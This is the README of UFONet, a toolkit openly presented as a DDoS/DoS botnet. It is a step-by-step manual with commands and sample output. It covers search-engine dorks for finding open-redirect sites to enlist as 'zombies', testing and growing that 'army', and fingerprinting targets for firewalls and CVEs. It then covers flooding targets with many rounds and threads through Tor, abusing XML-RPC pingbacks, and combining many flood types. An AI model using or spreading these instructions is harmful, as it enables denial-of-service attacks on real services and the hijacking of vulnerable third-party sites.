README.txt 16 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522
  1. ===========================================================================
  2. 888 888 8888888888 .d88888b. 888b 888 888
  3. 888 888 888 d88PY888b 8888b 888 888
  4. 888 888 888 888 888 88888b 888 888
  5. 888 888 8888888 888 888 888Y88b 888 .d88b. 888888
  6. 888 888 888 888 888 888 Y88b888 d8P Y8b 888
  7. 888 888 888 888 888 888 Y88888 88888888 888
  8. Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b.
  9. 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888
  10. ===========================================================================
  11. Welcome to UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
  12. ===========================================================================
  13. ###############################
  14. # Project info
  15. ###############################
  16. - Website:
  17. https://ufonet.03c8.net
  18. - IRC:
  19. irc.freenode.net - #ufonet
  20. ###############################
  21. # FAQ
  22. ###############################
  23. https://ufonet.03c8.net/FAQ.html
  24. ###############################
  25. # Summary
  26. ###############################
  27. UFONet - is a toolkit designed to launch DDoS and DoS attacks.
  28. See these links for more info:
  29. - CWE-601:Open Redirect:
  30. https://cwe.mitre.org/data/definitions/601.html
  31. - OWASP:URL Redirector Abuse:
  32. https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
  33. ###############################
  34. # Installing
  35. ###############################
  36. UFONet runs on many platforms. It requires Python (>=3) and the following libraries:
  37. python3-pycurl - Python bindings to libcurl (Python 3)
  38. python3-geoip - Python3 bindings for the GeoIP IP-to-country resolver library
  39. libgeoip-dev - Development files for the GeoIP library
  40. libgeoip1 - non-DNS IP-to-country resolver library
  41. python3-whois - Python module for retrieving WHOIS information - Python 3
  42. python3-crypto - cryptographic algorithms and protocols for Python 3
  43. python3-requests - elegant and simple HTTP library for Python3, built for human beings
  44. python3-scapy - Packet crafting/sniffing/manipulation/visualization security tool
  45. You can automatically get all required libraries using (as root):
  46. python3 setup.py install
  47. For manual installation on Debian-based systems (ex: Ubuntu), run:
  48. sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev
  49. On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
  50. pip3 install GeoIP
  51. pip3 install python-geoip
  52. pip3 install pygeoip
  53. pip3 install requests
  54. pip3 install pycrypto
  55. pip3 install pycurl
  56. pip3 install whois
  57. pip3 install scapy-python3
  58. Source libs:
  59. * Python: https://www.python.org/downloads/
  60. * PyCurl: http://pycurl.sourceforge.net/
  61. * GeoIP: https://pypi.python.org/pypi/GeoIP/
  62. * Python-geoip: https://pypi.org/project/python-geoip/
  63. * Pygeoip: https://pypi.org/project/pygeoip/
  64. * Whois: https://pypi.python.org/pypi/whois
  65. * PyCrypto: https://pypi.python.org/pypi/pycrypto
  66. * PyRequests: https://pypi.python.org/pypi/requests
  67. * Scapy-Python3: https://pypi.org/project/scapy-python3/
  68. * Leaflet: http://leafletjs.com/ (provided)
  69. ###############################
  70. # Searching for 'zombies'
  71. ###############################
  72. UFONet can dig on different search engines results to find possible 'Open Redirect' vulnerable sites.
  73. A common query string should be like this:
  74. 'proxy.php?url='
  75. 'check.cgi?url='
  76. 'checklink?uri='
  77. 'validator?uri='
  78. For example, you can begin a search with:
  79. ./ufonet -s 'proxy.php?url='
  80. Or providing a list of "dorks" from a file:
  81. ./ufonet --sd 'botnet/dorks.txt'
  82. By default UFONet will use a search engine called 'DuckDuckGo'. But you can choose a different one:
  83. ./ufonet -s 'proxy.php?url=' --se 'bing'
  84. This is the list of available search engines with last time that they were working:
  85. - duckduckgo [01/02/2020: OK!]
  86. - bing [01/02/2020: OK!]
  87. - yahoo [01/02/2020: OK!]
  88. You can also search massively using all search engines supported:
  89. ./ufonet -s 'proxy.php?url=' --sa
  90. To control how many 'zombies' recieved from the search engines reports you can use:
  91. ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20
  92. Or you can make the tool to search for the maximun number of results automatically (this may take time!):
  93. ./ufonet --auto-search
  94. At the end of the process, you will be asked if you want to check the list retrieved to see
  95. if the urls are vulnerable.
  96. Do you want to check if the NEW possible zombies are valid? (Y/n)
  97. After that, you will be asked to update the list adding automatically only the 'vulnerable' web apps.
  98. Do you want to update your army? (Y/n)
  99. If your answer is 'Y', your new 'zombies' will be appended to the file named: zombies.txt
  100. -------------
  101. Examples:
  102. + with verbose: ./ufonet -s 'proxy.php?url=' -v
  103. + with threads: ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
  104. ###############################
  105. # Testing botnet
  106. ###############################
  107. UFONet can test if your 'zombies' are vulnerable and can be used for attacking tasks.
  108. For example, open 'botnet/zombies.txt' (or another file) and create a list of possible 'zombies'.
  109. Remember that urls of the 'zombies' should be like this:
  110. http://target.com/check?uri=
  111. After that, launch:
  112. ./ufonet -t 'botnet/zombies.txt'
  113. You can test for XML-RPC Pingback vulnerability related 'zombies', with:
  114. ./ufonet --test-rpc
  115. To check if your 'zombies' are still infected testing the whole botnet (this may take time!) try this:
  116. ./ufonet --test-all
  117. And to check if your 'zombies' are still online run:
  118. ./ufonet --test-offline
  119. Finally, you can order your 'zombies' to attack you and see how they reply to your needs using:
  120. ./ufonet --attack-me
  121. At the end of the process, you will be asked if you want to check the list retrieved to see
  122. if the urls are vulnerable.
  123. Do you want to check if the NEW possible zombies are valid? (Y/n)
  124. After that, you will be asked to update the list adding automatically only the 'vulnerable' web apps.
  125. Do you want to update your army? (Y/n)
  126. If your answer is 'Y', the file: "botnet/zombies.txt" will be updated.
  127. -------------
  128. Examples:
  129. + with verbose: ./ufonet -t 'botnet/zombies.txt' -v
  130. + with proxy TOR: ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
  131. + with threads: ./ufonet -t 'botnet/zombies.txt' --threads 50
  132. + test whole botnet: ./ufonet --test-all
  133. + test XML-RPCs: ./ufonet --test-rpc
  134. + search for offlines: ./ufonet --test-offline
  135. + attack yourself: ./ufonet --attack-me
  136. ###############################
  137. # Inspecting a target
  138. ###############################
  139. UFONet can search for biggest file on your target by crawlering it:
  140. ./ufonet -i http://target.com
  141. You can use this before to attack to be more effective.
  142. ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
  143. -------------
  144. Example:
  145. +input:
  146. ./ufonet -i http://target.com
  147. +output:
  148. [...]
  149. +Image found: images/wizard.jpg
  150. (Size: 63798 Bytes)
  151. ------------
  152. +Style (.css) found: fonts.css
  153. (Size: 20448 Bytes)
  154. ------------
  155. +Webpage (.php) found: contact.php
  156. (Size: 2483 Bytes)
  157. ------------
  158. +Webpage (.php) found: about.php
  159. (Size: 1945 Bytes)
  160. ------------
  161. +Webpage (.php) found: license.php
  162. (Size: 1996 Bytes)
  163. ------------
  164. ================================================================================
  165. =Biggest File: http://target.com/images/wizard.jpg
  166. ================================================================================
  167. -------------
  168. ###############################
  169. # Abducting a target
  170. ###############################
  171. UFONet can provide you some interesting information about your target:
  172. ./ufonet -x http://target.com
  173. -------------
  174. Example:
  175. +input:
  176. ./ufonet -x https://yahoo.com
  177. +output:
  178. [...]
  179. -Target URL: https://yahoo.com
  180. -IP : 206.190.39.42
  181. -IPv6 : OFF
  182. -Port : 443
  183. -Domain: yahoo.com
  184. -Bytes in : 550.09 KB
  185. -Load time: 9.10 seconds
  186. -Banner: ATS
  187. -Vía : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer),
  188. http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ])
  189. -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)
  190. -Reports:
  191. + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
  192. + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
  193. [...]
  194. ---------
  195. [Info] Abduction finished... ;-)
  196. -------------
  197. ###############################
  198. # Attacking a target
  199. ###############################
  200. UFONet can attack your target in many different ways.
  201. For example, enter a target to attack with a number of rounds:
  202. ./ufonet -a http://target.com -r 10
  203. On this example UFONet will attack the target a number of 10 times for each 'zombie'. That means that
  204. if you have a list of 1.000 'zombies' it will launch 1.000 'zombies' x 10 rounds = 10.000 requests to the target.
  205. If you don't put any round it will apply only 1 by default.
  206. Additionally, you can choose a place to recharge on target's site. For example, a large image,
  207. a big size file or a flash movie. In some scenarios where targets doesn't use cache systems
  208. this will make the attack more effective.
  209. ./ufonet -a http://target.com -b "/images/big_size_image.jpg"
  210. -------------
  211. Examples:
  212. + with verbose: ./ufonet -a http://target.com -r 10 -v
  213. + with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
  214. + with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
  215. + with threads: ./ufonet -a http://target.com -r 10 --threads 500
  216. ###############################
  217. # Special attacks
  218. ###############################
  219. UFONet uses different ways to exploit 'Open Redirect' vulnerabilities.
  220. You can use UFONet to stress database on target by requesting random valid strings as search queries:
  221. ./ufonet -a http://target.com --db "search.php?q="
  222. Also, it exploits (by default) XML-RPC Pingback Vulnerability, generating callback requests and increasing
  223. processing required by target.
  224. You can test your list of 'XML-RPCs zombies' launching:
  225. ./ufonet --test-rpc
  226. ###############################
  227. # Extra attacks
  228. ###############################
  229. - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
  230. - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software)
  231. - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood
  232. - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack
  233. - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
  234. - SPRAY: https://en.wikipedia.org/wiki/DRDOS
  235. - SMURF: https://en.wikipedia.org/wiki/Smurf_attack
  236. - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet
  237. - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack
  238. - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/
  239. - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A
  240. - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
  241. - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A
  242. - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood
  243. - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/
  244. - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack
  245. - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
  246. All ways could be combined, so UFONet can attack DDoS and DoS, at the same time.
  247. ###############################
  248. # Updating
  249. ###############################
  250. UFONet has implemented an option to update the tool to the latest stable version.
  251. This feature can be used only if you have cloned it from a git respository.
  252. To check your version you should launch:
  253. ./ufonet --update
  254. This will update the tool automatically removing all files from old package.
  255. ###############################
  256. # Generating a 'Blackhole'
  257. ###############################
  258. UFONet has some P2P options to share/keep 'zombies' with other 'motherships'.
  259. * Setup web server with a folder "ufonet", this folder should be:
  260. - located in /var/www/ufonet (default debian/ubuntu install)
  261. - owned by the user running the blackhole
  262. - accessible with http://your-ip/ufonet/
  263. * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py)
  264. * Anyone wanting to connect to your server needs to set the --up-to/--down-from
  265. to the ip address of your webserver...
  266. [!]WARNING : this *ADVANCED* function is *NOT* secure, proceed if you really want to.
  267. To start a new 'blackhole' launch:
  268. ./ufonet --blackhole
  269. ###############################
  270. # GUI/Web Interface
  271. ###############################
  272. You can manage UFONet using a Web Interface. The tool has implemented a python web server
  273. connected to the core providing you a more user friendly experience.
  274. To launch it use:
  275. ./ufonet --gui
  276. This will open a tab on your default browser with all features of the tool and some 'extra' options:
  277. - NEWS: Allows to read last "news" published by a "mothership"
  278. - MISSIONS: Allows to read last "missions" published by a "mothership"
  279. - SHIP STATS: Allows to review statistics from your "spaceship"
  280. - RANKING: Allows to check your "ranking" position
  281. - BOARD: Allows to send/receive messages to/from a "mothership" (a forum)
  282. - SHIP LINKS: Allows to review links published by a "mothership"
  283. - SHIP STREAMS: Allows to review streams (video/audio/live) published by a "mothership"
  284. - SHIP GAMES: Allows to review games from your "spaceship"
  285. - BROWSER: Allows to navigate/surf the Internet from a sandbox
  286. - GLOBAL.NET: Allows to review locations published by other "motherships"
  287. - WARPS: Allows to interact with a "mothership" to download/upload "zombies"
  288. - GLOBAL GRID: Allows to review statistics from other "spaceships"
  289. - WARGAMES: Allows to propose and join some real "wargames"
  290. - [...]
  291. ###############################
  292. # Timelog
  293. ###############################
  294. --------------------------
  295. 17.08.2020 : v.1.6
  296. --------------------------
  297. --------------------------
  298. 08.06.2020 : v.1.5
  299. --------------------------
  300. --------------------------
  301. 01.02.2020 : v.1.4
  302. --------------------------
  303. --------------------------
  304. 10.03.2019 : v.1.3
  305. --------------------------
  306. --------------------------
  307. 03.02.2019 : v.1.2.1
  308. --------------------------
  309. --------------------------
  310. 31.12.2018 : v.1.2
  311. --------------------------
  312. --------------------------
  313. 26.09.2018 : v.1.1
  314. --------------------------
  315. --------------------------
  316. 08.03.2018 : v.1.0
  317. --------------------------
  318. --------------------------
  319. 14.07.2017 : v.0.9
  320. --------------------------
  321. --------------------------
  322. 21.10.2016 : v.0.8
  323. --------------------------
  324. --------------------------
  325. 17.08.2016 : v.0.7
  326. --------------------------
  327. --------------------------
  328. 05.11.2015 : v.0.6
  329. --------------------------
  330. --------------------------
  331. 24.05.2015 : v.0.5b
  332. --------------------------
  333. --------------------------
  334. 15.12.2014 : v.0.4b
  335. --------------------------
  336. --------------------------
  337. 27.09.2014 : v.0.3.1b
  338. --------------------------
  339. --------------------------
  340. 20.09.2014 : v.0.3b
  341. --------------------------
  342. --------------------------
  343. 22.06.2013 : v.0.2b
  344. --------------------------
  345. --------------------------
  346. 18.06.2013 : v.0.1b
  347. --------------------------
  348. ###############################
  349. # Thanks to
  350. ###############################
  351. - UFo & Mandingo & Ikujam
  352. - Phineas Fisher ;-)
  353. - The Shadow Brokers (TSB) ;_)
  354. - World Wide Antifas >-)
  355. -------------------------
  356. ############